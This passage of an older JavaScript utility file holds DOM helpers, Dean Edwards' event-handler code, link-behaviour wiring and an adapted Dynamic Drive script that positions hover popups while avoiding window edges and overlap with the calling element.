///////////////////////////////////////////////////////////////////////////////
//globals
//assoc array like object 'links' will contain all behaviours that have to be connected to links in texts
var links=new Array();
var loc=[];
loc["iconExternalLinkWiki"]="av/iconExternalLinkWiki.png";
var popUpBox;

///////////////////////////////////////////////////////////////////////////////
//General support functions

//Convert element ID string or element reference
//into a valid element DOMobject reference
//Prototype library based alias $
//function based on Goodman Dynamic HTML Definitive Reference.
function $(elem_id_or_ref) //
    {//safety check
	if(typeof elem_id_or_ref=="undefined"){return}
	
	//create a DOM element reference if the argument is an ID
	var elemref
    if (typeof elem_id_or_ref=="string") //
        {if (document.getElementById) //
             {elemref=document.getElementById(elem_id_or_ref)} //W3C
         else if (document.all) //
             {elemref=document.all(elem_id_or_ref)}	 //IE
        }
	else //pass through element reference
		{elemref=elem_id_or_ref}	
	
	return elemref	
    }

/*
Revision history
24-10-2006	new file by
*/
function exists(subject) //
    {return (typeof subject != "undefined")? true : false}
	
function singleSpaces(string)
	{//normalize one or more spaces to one space
	return string.replace(/\s+/," ")
	}
		
function trimSurroundingSpaces(string)	
	{//trim of any leading or trailing spaces
	return string.replace(/\s?(([^ ].*[^ ])|([^ ]))\s?/,"$1")
	}

	

///EVENT HANDLERS///	
//Simon Willinson's addLoadEvent function
//http://simonwillison.net/2004/May/26/addLoadEvent/
/*use like this:
addLoadEvent(nameOfSomeFunctionToRunOnPageLoad);
addLoadEvent(function() {  - more code to run on page load -});
*/
function addLoadEvent(func) {
  var oldonload = window.onload;
  if (typeof window.onload != 'function') {
    window.onload = func;
  } else {
    window.onload = function() {
      if (oldonload) {
        oldonload();
      }
      func();
    }
  }
}

	
////////////////////////////////////////////////////////////////////	
//ADDEVENTHANDLER SCRIPTS DEAN EDWARDS
// written by Dean Edwards, 2005
// with input from Tino Zijdel, Matthias Miller, Diego Perini
// http://dean.edwards.name/weblog/2005/10/add-event/

/* Revision-history
5-12-2006 inserted by PG
5-12-2006 ADD possibility to pass an argument PG
5-12-2006 CHG name function from addEventHandler to addEventHandler and removeEvent to removeEventHandler PG
5-12-2006 ADD possibility to enter either element-reference or elementID
WORKS: IE7 FF2 
*/
function addEventHandler(elemIdOrRef, type, handler, containerArguments) {
	//get an element reference
	element=$(elemIdOrRef);
	
	//safety check
	if(!element) return
	
	// assign each event handler a unique ID
	if (!handler.$$guid) handler.$$guid = addEventHandler.guid++;
	// create a hash table of event types for the element
	if (!element.events) element.events = {}; 
	// create a hash table of event handlers for each element/event pair
	var handlers = element.events[type];
	if (!handlers) {
		handlers = element.events[type] = {};
		// store the existing event handler (if there is one)
		if (element["on" + type]) {
			// create an object that will contain both the handler ref and the containerArguments
			handlers[0] = {};
			//store the reference to the handler function in the property .handler
			handlers[0].handler=element["on" + type];
		}
	}
	// create an object that will contain both the handler ref and the containerArguments
	handlers[handler.$$guid]= {};
	// store the event handler reference in the hash table in the property .handler
	handlers[handler.$$guid].handler = handler;
	//store the containerArguments in the hash table in the property .containerArguments
	handlers[handler.$$guid].containerArguments=containerArguments
	// assign a global event handler to do all the work
	element["on" + type] = handleEvent;

};
// a counter used to create unique IDs
addEventHandler.guid = 1;

function removeEventHandler(elemIdOrRef, type, handler) {
	//get an element reference
	element=$(elemIdOrRef);
	// delete the event handler from the hash table
	if (element.events && element.events[type] && handler.$$guid) {
		delete element.events[type][handler.$$guid];
	}
};

function handleEvent(event) {
	var returnValue = true;
	var containerArguments
	// grab the event object (IE uses a global event object)
	event = event || fixEvent(((this.ownerDocument || this.document || this).parentWindow || window).event);
	// get a reference to the hash table of event handlers
	var handlers = this.events[event.type];
	// execute each event handler
	for (var i in handlers) {
		this.$$handleEvent = handlers[i].handler;
		containerArguments=handlers[i].containerArguments
		if (this.$$handleEvent(event,containerArguments) === false) {
			returnValue = false;
		}
	}
	if (this.$$handleEvent) {
		this.$$handleEvent=null
		}
	return returnValue;
};

function fixEvent(event) {
	// add W3C standard event methods
	event.preventDefault = fixEvent.preventDefault;
	event.stopPropagation = fixEvent.stopPropagation;
	return event;
};
fixEvent.preventDefault = function() {
	this.returnValue = false;
};
fixEvent.stopPropagation = function() {
	this.cancelBubble = true;
};

//End Dean Edwards  scripts


////////////////////////////////////////////////////////////////////////////	
	
//show an element
//hide an element
function ehs(e,elem_id_or_ref)
	{s(elem_id_or_ref)
	}

function s(elem_id_or_ref)
	{$(elem_id_or_ref).style.display="block";
	$(elem_id_or_ref).style.visibility="visible";
	}	

//hide an element
function ehh(e,elem_id_or_ref)
	{h(elem_id_or_ref)
	}
	
function h(elem_id_or_ref)
	{$(elem_id_or_ref).style.display="none";
	$(elem_id_or_ref).style.visibility="hidden";
	}	

	
//FUNCTION SETATTR
//WORKS: IE7 FF2 

function setattr(elemIdOrRef,attrName,attrValue) //
    {var elemref=$(elemIdOrRef)
	//safety check: called elem exists?
	if(!elemref){return}

	//special case: class / className
	//IE supports attribute className and property className, property class forbidden
	//FF supports attribute class and property className, property class forbidden
	//as attribute terminology differs, use property setting instead
	if(attrName=="class" || attrName=="className")
		{elemref.className=attrValue;
		return;
		}
	//special case: usemap / useMap
	//IE supports attribute useMap and property useMap
	//FF supports attribute usemap and property  useMap
	//as attribute terminology differs, use property setting instead
	if(attrName=="usemap" || attrName=="useMap")
		{elemref.useMap=attrValue;
		return;
		}
		
	elemref.setAttribute(attrName,attrValue)
    }

//note: must be class*Name* otherwise error: 'redeclaration of constant'!	
function setClassName(elemRef,className)
	{elemRef.className=className;
	}

//note: must be class*Name* otherwise error: 'redeclaration of constant'!	
function getClassName(elemRef)
	{return elemRef.className;
	}
	
function ehAddClass(e,data)	
	{addClass(this, data.className);
	}
	
function addClass(elemRef,className)
	{var classNow=getClassName(elemRef);
	var classNew=classNow+" "+className;
	setClassName(elemRef,classNew);
	//console.log("class '"+className+"' added. Class now="+classNew+"'.");
	}	

function ehRemoveClass(e,data)	
	{removeClass(this, data.className);
	}
		
function removeClass(elemRef,className)
	{var classNow=getClassName(elemRef);
	var pattern=new RegExp(className,"g");
	var classNew=classNow.replace(pattern," ");
	setClassName(elemRef,classNew);
	//trace("class '"+className+"' removed. Class now="+classNew+"'.");
	}	

//core function
function elemAddClassOnHover(elemRef,classNameOnHover)//
    {if(elemRef)
		{addEventHandler(elemRef,"mouseover",ehAddClass,classNameOnHover);
	 	addEventHandler(elemRef,"mouseout",ehRemoveClass,classNameOnHover);
		}   
    }
	
	
//////////////////////////////////////////////////////////////////
//FUNCTION INSERTHTML()
/* Revision-history
9-10-2002  New file by PG
11-10-2002 replaced ' by \" in the output string constructor  
3-11-2002 added display='block'
9-3-2005 *added* synonyms 'before' and 'after'
24-3-2006 *added* element existance check
1-3-2007 ADD automatic searching for links in text and connecting behaviours to them
9-4-2008 *CHG* copied from CASK core, made W3C, removed addWhere possibilities
*/
//inserts a string of html into an object (e.g. a div)

function ih(elemID,htmlToInsert) //
    {
	//safety check: called elem exists?
	var elemRef=$(elemID);
	if(!elemRef){return}

	elemRef.innerHTML=htmlToInsert;

	//connect the behaviours to any links inside the text
	searchLinksAndConnectBehaviours(htmlToInsert)
    }

function searchAnchorsAndConnectBehaviours()
	{var anchors=document.getElementsByTagName("a");
	for(var i=0;i<anchors.length;i++)
    	{if(exists(anchors[i].id))
			{connectBehavioursToLinks(anchors[i].id);}
    	}
	}
/*
24-3-2007 cut down pattern to only openings tag with id. With the original pattern, tags inside the tag killed the match. 
2-5-2007 replaced pattern as it didn't allow extra attributes inside the a openings tag. 
9-4-2008 copied from cask core
*/
//search links in the text
function searchLinksAndConnectBehaviours(text)
	{//pattern matching <a id='someLinkId' > some text </a>
	var pattern=/<a[^<]*id\=['"]([\w\$]+)['"][^<]*>/g
	var result,linkId
	while((result=pattern.exec(text)) != null)
		{linkId=result[1] //the linkId, 1st parenthesized part in the match
		//connect the behaviour to the found link
		if(exists(linkId) && linkId!="")
			{connectBehavioursToLinks(linkId)}
		}
	}

//connect eventhandlers to links	
function connectBehavioursToLinks(linkId)
	{var elemRef,func,data;
	if(exists(links)) 
		{for(var i=0;i<links.length;i++)
	     	{if(!exists(links[i]) || !exists(links[i][0])) {continue}
			//console.log("linkId="+links[i][0]+", func="+links[i][1])		
			if(links[i][0]==linkId)
				{elemIdOrRef=links[i][0];
				func=links[i][1];
				data=links[i][2];
				func(elemIdOrRef, data);
				}
	     	}
		}	
	}


/*
9-4-2008 COP copied from cask core
*/
////////////////////////////////////////////////////////////////////
/* ELEM ADD BEHAVIOUR
Revision history
9-1-2007 new file byPG
19-2-2007 FXD if no event and ehfunction passed, but only used to set classes, gave error on check
*/
function elemAddBehvr(elemIdOrRef,data) //
    {var className= data.className || "";
	var classNameOnHover= data.classNameOnHover || "";
	var title= data.title || "";
	var eventType= data.eventType || "";
	var ehFunction= data.ehFunction || "";
	var ehArgument= data.ehArgument || "";
	var elemRef=$(elemIdOrRef)

	//console.log(elemIdOrRef,data)
	//elem exists? 
	if(!elemRef) return
	//safety checks
	if(exists(eventType) && eventType!="" && exists(ehFunction) && ehFunction!="" && typeof ehFunction!="function")
		{//incorrect event handler passing
		alert("Message for developer: error in function elemAddBehvr().\n\n The passed argument: '"+ehFunction+"' is NOT a reference to an event handler *function*, but a *"+typeof ehFunction+"* instead.\n\n This event handler was ought to be applied to the element with id: '"+elemRef.id+"'.");
		return;
		}
		
	//attach base class
	if(exists(className) && className!="")
		{addClass(elemRef,className)} 
	//attach hover class
	if(exists(classNameOnHover) && classNameOnHover!="")
		{elemAddClassOnHover(elemRef,classNameOnHover)}
	//attach title
	if(exists(title) && title!="")
		{elemRef.setAttribute("title",title)}
	//attach event handler
	if(exists(eventType) && eventType!="" && exists(ehFunction) && ehFunction!="" )
		{if (exists(ehArgument) && ehArgument!="")
			{addEventHandler(elemRef,eventType,ehFunction,ehArgument);}
		else
			{addEventHandler(elemRef,eventType,ehFunction);}		
		}
 	
    }	


/*props that may be passed in data:
classNameBase,classNameOnHover,title,eventType,ehFunction,ehArgument,hrefUrl
*/	
//variant a
function aAddBehvr(elemIdOrRef,data) //
    {
	//pass standard behaviours to general function
	elemAddBehvr(elemIdOrRef,data)
	//attach href
	if(exists(data.href) && data.href!="")
		{setattr(elemIdOrRef,"href",data.href)}    
    }	

//attaches href link that is opened in a new window
/*9-4-2008 copied from cask core, added check existance elem
*/
function aAddLink(elemIdOrRef,href)
	{
	//console.log(elemIdOrRef,href);
	var elemRef=$(elemIdOrRef);
	if(!elemRef) {return}
	setattr(elemRef,"href",href)
	setattr(elemRef,"target","blank")
	}

//same as aAddLink but also appends the external link icon
/*
19-5-2007 BUG added check for previous insertion of externallinkicon
9-4-2008 copied from cask core, CHG loaction of wikiexternallinkicon
*/
function aAddExtLink(elemIdOrRef,hrefUrl)
	{var aElemRef=$(elemIdOrRef)
	//check if elem exists
	if(!aElemRef) return
	//check if it already contains the external link icon, to prevent multiple insertion
	var childImgs=aElemRef.getElementsByTagName("img")
	for(var i=0;i<childImgs.length;i++)
		{if(childImgs[i].getAttribute("src").indexOf("iconExternalLinkWiki.png")!=-1) return
    	}
	//if passed all tests...
	//create img node with external link icon
	var iconExt=document.createElement("img")
	iconExt.setAttribute("src",location["iconExternalLinkWiki"])
	iconExt.style.border="none"
	var space=document.createTextNode(" ")
	//append all
	aElemRef.appendChild(space)
	aElemRef.appendChild(iconExt)

	//and do the rest
	aAddLink(elemIdOrRef,hrefUrl)
	}
	
	

////////////////////////////////////////////////////////////////////

	

/***********************************************
* Show Hint script- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for this script and 100s more.
***********************************************/
/*Logfile PG
29-10-2007 CHG moved onload creation of popUp box to overall window.onload together w. other window.onload's)
30-10-2007 BUG removes setting of onmouseout, killed other mouseouts
30-10-2007 ADD possibility via ehShowhint to be called via E. Dean'es addEvent
5-11-2007 ADD possibilities to set class, shiftHor and offsetTop. All args in objArgs object. Only 1 global var: oPopUp.
6-11-2007 CHG Renamed all to popUpBox. Removed separate width setting in call (double with class). Set essential styling in createpopUpBox. Moved global var ie to local var in func clearbrowseredge. Removed uneffective global var ns6.
11-11-2007 ADD/CHG Major remake: all positioning of popupbox now called by function calcPosPopUp() and handled via 3 main functions: calcPreferredPos(), correctOutsideWindow(), correctOverlapCallingElem().
*/		

/*

SHOWS POPUP WINDOW
argument 'objArgs' should be an object with the following optional properties:
- contents: the html/text that should be displayed in the popup [string]
- className: name of the class that should style this popup [string]
- position: mainpos,alignment [one string, comma between mainpos and alignment]
	with:
	mainpos can be: left,right,top,bottom [string]
	alignment can be: center, alignLeft, alignRight, alignTop, alignBottom [string]
- shiftHor: nr of pixels horizontal shift form the postion requested in 'position' [integer]
- shiftVert: nr of pixels vertical shift form the postion requested in 'position' [integer]
- distanceToCallingElem: nr of pixels distance of popup to calling elem [integer]
- distanceToWindow: nr of pixels distance of popup to window edge [integer]

May be called using addEventHandler via function ehShowPopUp or inline in element self via function showPopUp
Examples:

1. 
addEventHandler("callingElemId", "mouseover", ehShowPopUp, {contents:"my text to show",className:"whitePopUp",position:"top,center"} );
addEventHandler(callingElemId,"mouseout",hidePopUp); 

2. NOTE: not tested!!! Preference: use nr. 1
<img src="image.gif" onmouseover="showPopUp(e,callingElem, {contents:"my text to show",className:"whitePopUp",position:"left,alignTop"},shiftVert:-10,distanceToCallingElem:3)" onmouseout="hidePopUp()">
*/


//var oDebug=new Object();

//create and insert popUpBox div, creates global var popUpBox containing DOM reference to the popUpBox-div
addLoadEvent(createPopUpBox);
//var oDebug=new Object();

/*function createAndInsertPopUpBox()
	{//global variable created here, no 'var'!
	popUpBox=createPopUpBox();
	}
*/	
function createPopUpBox()
	{var divblock=document.createElement("div")
	divblock.setAttribute("id", "popUpBox")
	//global variable created here, no 'var'!
	popUpBox=document.body.appendChild(divblock);
	popUpBox.style.visibility="hidden";
	popUpBox.style.position="absolute";
//	popUpBox.style.zIndex=1000; //set this in local css to allow popup under optiondiv
	return popUpBox;
	}


//own addition to allow linking to Dean Edwards addEvent script
function ehShowPopUp(e,objArgs)
	{var callingElem=this;
	showPopUp(callingElem,objArgs)
	}
	
function showPopUp(callingElem,objArgs)
	{var oPopUp=new Object();
	
	//if popUpBox not yet exists in DOM, create it
	if(!$("popUpBox")) {createPopUpBox();}
	
	//alert("showPopup on "+callingElem.id+" with content: "+objArgs.contents)
	//defaults
	var defaultClass="popUpDefault";
	var defaultPosition="right,center" // position popUp related to calling Element
	var defaultShiftHor=0 //horizontal shift (in px) from position
	var defaultShiftVert=0 //vertical shift (in px) from position
	var defaultDistanceToCallingElem=10 //distance (in px) of popup from calling element
	var defaultDistanceToWindow=5 //distance (in px) of popup from window-edge
	
	//read objArgs, check if any or valid requests, else set defaults
	var popUpContents=objArgs.contents;
	var className=(typeof objArgs.className!="undefined")? objArgs.className : defaultClass; //default	
	oPopUp.reqPosition=(exists(objArgs.position) && objArgs.position!="")? objArgs.position : defaultPosition; //default	
	oPopUp.shiftHor=(exists(objArgs.shiftHor) && objArgs.shiftHor!="")? parseInt(objArgs.shiftHor) : defaultShiftHor; //default
	oPopUp.shiftVert=(exists(objArgs.shiftVert) && objArgs.shiftVert!="")? parseInt(objArgs.shiftVert) : defaultShiftVert; //default
	oPopUp.distanceToCallingElem=(exists(objArgs.distanceToCallingElem) && objArgs.distanceToCallingElem!="")? parseInt(objArgs.distanceToCallingElem) : defaultDistanceToCallingElem; //default	
	oPopUp.distanceToWindow=(exists(objArgs.distanceToWindow) && objArgs.distanceToWindow!="")? parseInt(objArgs.distanceToWindow) : defaultDistanceToWindow; //default	

	oPopUp.callingElem=callingElem;
	
	if (document.getElementById && document.getElementById("popUpBox"))
		{var popUpBox=document.getElementById("popUpBox");
		popUpBox.innerHTML=popUpContents;
		
		setattr("popUpBox","className",className);
		
		oPopUp=calcPosPopUp(oPopUp);
		
		popUpBox.style.left= oPopUp.popUpLeft+"px"
		popUpBox.style.top= oPopUp.popUpTop+"px"

//givePopUpDebugInfo(oPopUp)
		
		popUpBox.style.visibility="visible";
		}
	}

function hidePopUp()
	{if(exists(popUpBox) && popUpBox)
		{popUpBox.style.visibility="hidden"
		popUpBox.style.left="-500px"
		}
	}

//2-4-2008 CHG new sript from PPK on JavaScript chpt 9H p. 461, slightly adapted (variable names, return object)
function findPos(elem)
	{var elemLeft=elemTop=0;
	if(elem.offsetParent)
		{while(elem.offsetParent)
			{elemLeft+=elem.offsetLeft;
			elemTop+=elem.offsetTop;
			elem=elem.offsetParent;
			}
		}
	return {left:elemLeft,top:elemTop};	
	}

/*old function
function findPos(elem)
	{var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
	var parentEl=what.offsetParent;
	while (parentEl!=null)
		{totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
		parentEl=parentEl.offsetParent;
		}
	return totaloffset;
	}
*/
/*
function iecompattest()
	{return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
	}
*/

function calcPosPopUp(oPopUp) //
    {
	oPopUp=calcPreferredPos(oPopUp);
	oPopUp=correctOutsideWindow(oPopUp);
	oPopUp=correctOverlapCallingElem(oPopUp);
	return oPopUp;
    }	

function calcPreferredPos(oPopUp)
	{var callingElem=oPopUp.callingElem; //for ease of reading
	var reqPosition=oPopUp.reqPosition;
	var shiftHor=parseInt(oPopUp.shiftHor);
	var shiftVert=parseInt(oPopUp.shiftVert);
	var distanceToCallingElem=oPopUp.distanceToCallingElem; //distance of popup from calling elem

	//determine position requests
	reqPosition=reqPosition.split(",");
	var mainPos= oPopUp.mainPos= reqPosition[0];
	var align= oPopUp.align= reqPosition[1];
	//check for valid or present alignment request, else set default
	if(mainPos=="top" || mainPos=="bottom")
		{align= oPopUp.align= (align=="alignLeft" || align=="alignRight")? align : "center"}
	else if(mainPos=="left" || mainPos=="right")
		{align= oPopUp.align= (align=="alignTop" || align=="alignBottom")? align : "center"}
	else {alert("Error in func calcPosUp. Incorrect position '"+mainPos+"' requested for popup."); return};
 
 	//get position/dimensions of callingElem
	var callingElemLeft=oPopUp.callingElemLeft=findPos(callingElem).left;
	var callingElemTop=oPopUp.callingElemTop=findPos(callingElem).top;
	var callingElemWidth=oPopUp.callingElemWidth=callingElem.offsetWidth;
	var callingElemHeight=oPopUp.callingElemHeight=callingElem.offsetHeight;
	var callingElemRight=oPopUp.callingElemRight=callingElemLeft + callingElemWidth;
	var callingElemBottom=oPopUp.callingElemBottom=callingElemTop + callingElemHeight;
	var callingElemLRCenter=oPopUp.callingElemLRCenter= callingElemLeft + parseInt(callingElemWidth/2);
	var callingElemTBCenter=oPopUp.callingElemTBCenter= callingElemTop + parseInt(callingElemHeight/2);
	
	//console.log("callingElemLeft"+callingElemLeft+", callingElemTop:"+callingElemTop)
	//get position/dimensions of popup
	var popUpWidth=oPopUp.popUpWidth=popUpBox.offsetWidth;
	var popUpHeight=oPopUp.popUpHeight=popUpBox.offsetHeight;
	//vars for calculated pref position
	var popUpLeft,popUpTop;
	
	//determine preferred position
	if(mainPos=="top" || mainPos=="bottom")
		{if(mainPos=="top")
			{popUpTop= callingElemTop - distanceToCallingElem - popUpHeight;}
		else if(mainPos=="bottom")
			{popUpTop= callingElemBottom + distanceToCallingElem;}
		if(align=="center")
			{popUpLeft= callingElemLRCenter - parseInt(popUpWidth/2) + shiftHor;}
		else if(align=="alignLeft")
			{popUpLeft= callingElemLeft + shiftHor;}
		else if(align=="alignRight")
			{popUpLeft= callingElemRight + shiftHor;}
		}

	else if(mainPos=="left" || mainPos=="right")
		{if(mainPos=="left")
			{popUpLeft= callingElemLeft - distanceToCallingElem - popUpWidth;}
		else if(mainPos=="right")
			{popUpLeft= callingElemRight + distanceToCallingElem;}
		if(align=="center")
			{popUpTop= callingElemTBCenter - parseInt(popUpHeight/2) + shiftVert;}
		else if(align=="alignTop")
			{popUpTop= callingElemTop + shiftVert;}
		else if(align=="alignBottom")
			{popUpTop= callingElemBottom + shiftVert;}
		}

	//set the found positions
	oPopUp.popUpLeft=popUpLeft;
	oPopUp.popUpTop=popUpTop;

	return oPopUp;
	}
	
/*
2-4-2008 CHG include scrolls of window, get window dimensions new script
*/	
function correctOutsideWindow(oPopUp)
	{var ie=document.all;
	var distanceToWindow=oPopUp.distanceToWindow;
	var ieWindowRightSafety=0; //30 in orig script
	var nsWindowRightSafety=0; //40 in orig script
	var ieWindowBottomSafety=0; //15 in orig script
	var nsWindowBottomSafety=0; //18 in orig script
	
	//determine window sizes, source: PPK on JavScript p. 459 chpt 9H
	var windowWidth=document.documentElement.clientWidth || document.body.clientWidth;
	var windowHeight=document.documentElement.clientHeight || document.body.clientHeight;		
	var scrollLeft=document.documentElement.scrollLeft || document.body.scrollLeft;		
	var scrollTop=document.documentElement.scrollTop || document.body.scrollTop;

	var windowLeft=scrollLeft;
	var windowRight=windowWidth + scrollLeft;
	var windowTop=scrollTop;
	var windowBottom=windowHeight+ scrollTop;
/*	old code from original popup script
var windowRight= oPopUp.windowRight= (ie && !window.opera)? iecompattest().scrollLeft+iecompattest().clientWidth- ieWindowRightSafety : window.pageXOffset+window.innerWidth-nsWindowRightSafety;
	var windowBottom= oPopUp.windowBottom= (ie && !window.opera)? iecompattest().scrollTop+iecompattest().clientHeight-ieWindowBottomSafety : window.pageYOffset+window.innerHeight-nsWindowBottomSafety;
*/	
//alert(scrollTop);

	//get/determine popUp dimensions
	var popUpLeft=oPopUp.popUpLeft;
	var popUpWidth=oPopUp.popUpWidth;
	var popUpRight=oPopUp.popUpRight= popUpLeft + popUpWidth;
	var popUpTop=oPopUp.popUpTop;
	var popUpHeight=oPopUp.popUpHeight;
	var popUpBottom=oPopUp.popUpBottom= popUpTop + popUpHeight;

	//correct over borders
	var overRightEdge= popUpRight + distanceToWindow - windowRight;
	popUpLeft= (overRightEdge<0)? popUpLeft : popUpLeft - overRightEdge; //correct over right border
	var overLeftEdge= popUpLeft - distanceToWindow - windowLeft; //-10 is 10 px left of left win edge
	popUpLeft=oPopUp.popUpLeft= (overLeftEdge>0)? popUpLeft : windowLeft + distanceToWindow; //correct over left border
	
	var overBottomEdge= (popUpBottom + distanceToWindow) - windowBottom;
	popUpTop= (overBottomEdge<0)? popUpTop : popUpTop - overBottomEdge; //correct over bottom border
	var overTopEdge= popUpTop - distanceToWindow - windowTop; //-10 is 10 px top of top win edge
	popUpTop=oPopUp.popUpTop= (overTopEdge>0)? popUpTop : windowTop + distanceToWindow; //correct over top border

	//recalculate right and bottom positions
	popUpRight=oPopUp.popUpRight= popUpLeft + popUpWidth;
	popUpBottom=oPopUp.popUpBottom=  popUpTop + popUpHeight;
	
	return oPopUp;
	}

	
function correctOverlapCallingElem(oPopUp)
	{//is there any overlap? if no correction needed, return directly
	var overlap=calcOverlap(convertPopUpNamesToEl1El2(oPopUp));
	if(overlap==0) {return oPopUp;}
	
	//for ease of reading
	var minDistance=oPopUp.distanceToCallingElem
	var callingElemLeft= oPopUp.callingElemLeft;
	var callingElemTop =oPopUp.callingElemTop;
	var callingElemRight =oPopUp.callingElemRight;
	var callingElemBottom =oPopUp.callingElemBottom;
	var popUpWidth= oPopUp.popUpWidth;
	var popUpHeight =oPopUp.popUpHeight;
	
	//CONSIDER OPTIONS: MOVING POPUP TO: LEFT, RIGHT, TOP, BOTTOM, TOPLEFT, TOPRIGHT, BOTTOMLEFT, BOTTOMRIGHT of CALLINGELEM
	function tryLeft() {oTryPopUp.popUpLeft=  callingElemLeft - minDistance - popUpWidth}
	function tryRight()	{oTryPopUp.popUpLeft=  callingElemRight + minDistance}
	function tryTop() {oTryPopUp.popUpTop=  callingElemTop - minDistance - popUpHeight}
	function tryBottom() {oTryPopUp.popUpTop=  callingElemBottom + minDistance}
	function tryTopLeft() {tryTop(); tryLeft();}
	function tryTopRight()	{tryTop(); tryRight();}		
	function tryBottomLeft() {tryBottom(); tryLeft();}
	function tryBottomRight() {tryBottom(); tryRight();}

	//determine order in which to try options: prefer equal to requestedPos, prefer 1 move > 2 moves
	function getTryOrder()
		{var reqPos= oPopUp.mainPos +","+ oPopUp.align;  //get requested position
		switch(reqPos)
			{case "top,alignLeft": 
				return [tryTop,tryLeft,tryTopLeft,tryRight,tryTopRight,tryBottom,tryBottomLeft,tryBottomRight];
			case "top,center": 
				return [tryTop,tryLeft,tryRight,tryTopLeft,tryTopRight,tryBottom,tryBottomLeft,tryBottomRight];				
			case "top,alignRight": 
				return [tryTop,tryRight,tryTopRight,tryLeft,tryTopLeft,tryBottom,tryBottomRight,tryBottomLeft];		
			case "bottom,alignLeft": 
				return [tryBottom,tryLeft,tryBottomLeft,tryRight,tryBottomRight,tryTop,tryTopLeft,tryTopRight];
			case "bottom,center": 
				return [tryBottom,tryBottomLeft,tryBottomRight,tryLeft,tryRight,tryTop,tryTopLeft,tryTopRight];				
			case "bottom,alignRight": 
				return [tryBottom,tryRight,tryBottomRight,tryLeft,tryBottomLeft,tryTop,tryTopRight,tryTopLeft];						
			case "left,alignTop": 
				return [tryLeft,tryTop,tryTopLeft,tryBottom,tryBottomLeft,tryRight,tryTopRight,tryBottomRight];				
			case "left,center": 
				return [tryLeft,tryTop,tryBottom,tryTopLeft,tryBottomLeft,tryRight,tryTopRight,tryBottomRight];				
			case "left,alignBottom": 
				return [tryLeft,tryBottom,tryBottomLeft,tryTop,tryTopLeft,tryRight,tryTopRight,tryBottomRight];				
			case "right,alignTop": 
				return [tryRight,tryTop,tryTopRight,tryBottom,tryBottomRight,tryLeft,tryTopLeft,tryBottomLeft];				
			case "right,center": 
				return [tryRight,tryTop,tryBottom,tryTopRight,tryBottomRight,tryLeft,tryTopLeft,tryBottomLeft];				
			case "right,alignBottom": 
				return [tryRight,tryBottom,tryBottomRight,tryTop,tryTopRight,tryLeft,tryBottomLeft,tryTopLeft];				
			default: 
				return [tryLeft,tryRight,tryTop,tryBottom,tryTopLeft,tryTopRight,tryBottomLeft,tryBottomRight];				
			}
		}
		
	var options=getTryOrder();
			
	//set base values
	var smallestOverlap=overlap;
	var bestOptionLeft=oPopUp.popUpLeft;
	var bestOptionTop=oPopUp.popUpTop;
	
	//for each option in the set try-order, calculate resulting overlap
	//take 1st option with overlap==0, or if none found, option with smallest overlap
	for(var i=0;i<options.length;i++)
    	{oTryPopUp= getCopyObject(oPopUp); //create copy to not damage original
		options[i](); //execute the try
		oTryPopUp=correctOutsideWindow(oTryPopUp) //correct for outside window
		overlap= calcOverlap(convertPopUpNamesToEl1El2(oTryPopUp)) //calc resulting overlap
		if(overlap<smallestOverlap) //if better than previous ones, set this one as best option
			{smallestOverlap=overlap;
			bestOptionLeft=oTryPopUp.popUpLeft;
			bestOptionTop=oTryPopUp.popUpTop;			
			}
		if(smallestOverlap==0) break; //at 1st occurence of 0 overlap, stop searching
    	}
	
	//set the data-container oPopUp to the best options and return
	oPopUp.popUpLeft=bestOptionLeft;
	oPopUp.popUpTop=bestOptionTop;
	return oPopUp;	
	}

	
//create a real copy of an object, not a reference	
function getCopyObject(obj)
	{var newObj=new Object();
	for(var entry in obj)
    	{newObj[entry]=obj[entry];}
	return newObj;
	}
	
//extract from oPopUp the positions to use in the generic function calcOverlap, convert to generic names 'el1, el2'
function convertPopUpNamesToEl1El2(oPopUp)
	{var elemInfo=new Object();
	//elem1=callingElem, elem2=popUp
	elemInfo.el1Left=oPopUp.callingElemLeft;
	elemInfo.el1Top=oPopUp.callingElemTop;
	elemInfo.el1Width=oPopUp.callingElemWidth;
	elemInfo.el1Height=oPopUp.callingElemHeight;	
	elemInfo.el2Left=oPopUp.popUpLeft; 
	elemInfo.el2Top=oPopUp.popUpTop;
	elemInfo.el2Width=oPopUp.popUpWidth;
	elemInfo.el2Height=oPopUp.popUpHeight;
	return elemInfo;
	}
	
function calcOverlap(elemInfo) //oPopUp can be removed when ebugstring removed
	{//for ease of reading
	var el1Left= elemInfo.el1Left;
	var el1Top= elemInfo.el1Top;
	var el1Width= elemInfo.el1Width;
	var el1Height= elemInfo.el1Height;
	var el1Right= el1Left + el1Width;
	var el1Bottom= el1Top + el1Height;
	var el2Left= elemInfo.el2Left;
	var el2Top= elemInfo.el2Top;
	var el2Width= elemInfo.el2Width;
	var el2Height= elemInfo.el2Height;
	var el2Right= el2Left + el2Width;
	var el2Bottom= el2Top + el2Height;
	var overlap=0; //default start. To contain overlap area in square pixels
	
	/*Possible ways of overlap: if:
	- any el2 corner is in el1
	- any el2 side overlaps el1
	- el2 completely overlaps el1.
	*/
	//corners of el2 inside el1?
	var topLeftCornerEl2InEl1=(el2Top>=el1Top && el2Top<=el1Bottom && el2Left>=el1Left && el2Left<=el1Right);
	var bottomLeftCornerEl2InEl1=(el2Bottom>=el1Top && el2Bottom<=el1Bottom && el2Left>=el1Left && el2Left<=el1Right);
	var topRightCornerEl2InEl1=(el2Top>=el1Top && el2Top<=el1Bottom && el2Right>=el1Left && el2Right<=el1Right);
	var bottomRightCornerEl2InEl1=(el2Bottom>=el1Top && el2Bottom<=el1Bottom && el2Right>=el1Left && el2Right<=el1Right);
	
	//sides of el2 overlap el1? (with corners el2 outside el1)
	var bottomEl2InEl1=(el2Bottom>=el1Top && el2Bottom<=el1Bottom && el2Left<=el1Left && el2Right>=el1Right);
	var topEl2InEl1=(el2Top>=el1Top && el2Top<=el1Bottom && el2Left<=el1Left && el2Right>=el1Right);
	var leftEl2InEl1=(el2Left>=el1Left && el2Left<=el1Right && el2Top<=el1Top && el2Bottom>=el1Bottom);
	var rightEl2InEl1=(el2Right<=el1Right && el2Right>=el1Left && el2Top<=el1Top && el2Bottom>=el1Bottom);
	
	//el2 completely overlaps el1?
	var el2CompletelyOverlapsEl1=(el2Top<=el1Top && el2Left<=el1Left && el2Bottom>=el1Bottom && el2Right>=el1Right)

